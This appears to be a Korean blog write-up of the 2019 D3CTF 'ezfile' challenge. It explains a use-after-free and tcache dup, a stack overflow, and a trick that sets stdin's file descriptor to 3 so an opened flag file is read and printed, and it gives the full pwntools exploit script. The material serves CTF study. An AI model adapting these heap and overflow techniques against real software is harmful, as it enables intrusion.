본문 바로가기

system/writeup

2019 d3ctf ezfile

2019 d3ctf ezfile

취약점은 총 2개이다. ( + oob bug)

먼저, deleteNote에서 UAF가 발생한다.

glibc 2.27 이므로, 이를 이용하여 tcache dup 공격을 진행할 수 있다.

그리고 encryptNote에서 stack overflow가 발생한다.

0x60 크기의 seed0x68만큼 입력받아 ret overwrite가 가능하다.

특이한 점은, 마지막 함수 doSomeThing에서 seed, index를 인자로 받기 때문에, rdi, rsi 조작이 가능하다는 점이다.

exploit


exploit의 대략적인 과정은 다음과 같다.

  1. tcache dup -> chunk overlapping

  2. unsortedbin free -> partial overwrite(1/16) -> stdin->fileno hijack to 3

  3. ret partial overwrite(1/16) -> open("flag", 0)

되게 재밌는 문제였다. 문제의 포인트는 stdin->fileno3으로 조작하여 flag의 내용을 읽어오게 하는 부분이다. 이게 어떻게 가능한지는 아래의 흐름을 확인해보면 쉽게 알 수 있다.

rdi, rsi를 조작할 수 있으므로 open 함수를 open("flag", 0)으로 조작하고, stdin->fileno3으로 조작하면 아래 scanf에서 방금 openflagfileno3을 이용하여 값을 입력받으므로 밑에 printf에서 flag의 값을 유출할 수 있다는 것이다.

또한, 추가적으로

위 함수때문에 stdout magic leak은 불가능하고, prctl seccompexecve가 막혀있어 one gadget을 사용할 수 없다.

최종 exploit은 다음과 같다.

from pwn import *
 
#context.log_level= 'debug'

e = ELF('ezfile')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc.so.6', checksec=False)

ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)

'''
line CODE JT   JF     K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
'''

def name(data):
   sla('your name: ', data)

def menu(sel):
   sla('>>', sel)

def add(size, cont):
   menu('1')

   sla('>>', size)
   sla('>>', cont)

def delete(idz):
   menu('2')

   sla('>>', idz)

def enc(idx, seed_size, seed):
   menu('3')

   sla('>>', idx)
   sla('>>', seed_size)
   sla('>>', seed)

'''
line CODE JT   JF     K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
'''

name('A'*90)

add(str(0x10), p64(0x21)*2) # 0
for i in xrange(1, 7):
   add(str(0x18), p64(0x21)*3)

for _ in xrange(7):
   delete('0')
delete('1')

add(str(0x1), p8(0x80)) # 7
add(str(0x8), p64(0)) # 8
add(str(0x10), p64(0) + p64(0xa1)) # 9


for _ in xrange(8):
   delete('1')
delete('9')

add(str(0x12), p64(0) + p64(0x21) + "\x60\xfa")
add(str(0x18), "\n")

add(str(0x1), "\x03")

pay = "flag".ljust(0x68, '\x00') + "\x4c\x51"
enc('0', str(len(pay)), pay)
#"\x00"*35 + p64(3)
io()


flag가 유출되는 것을 확인하였다!

'system > writeup' 카테고리의 다른 글

2019 d3ctf lonely_observer  (0) 2019.12.16
2019 d3ctf babyrop  (0) 2019.12.15
2019 holyshield babyheap  (0) 2019.12.04
2018 0ctf final baby  (0) 2019.12.03
2018 bctf three  (0) 2019.12.01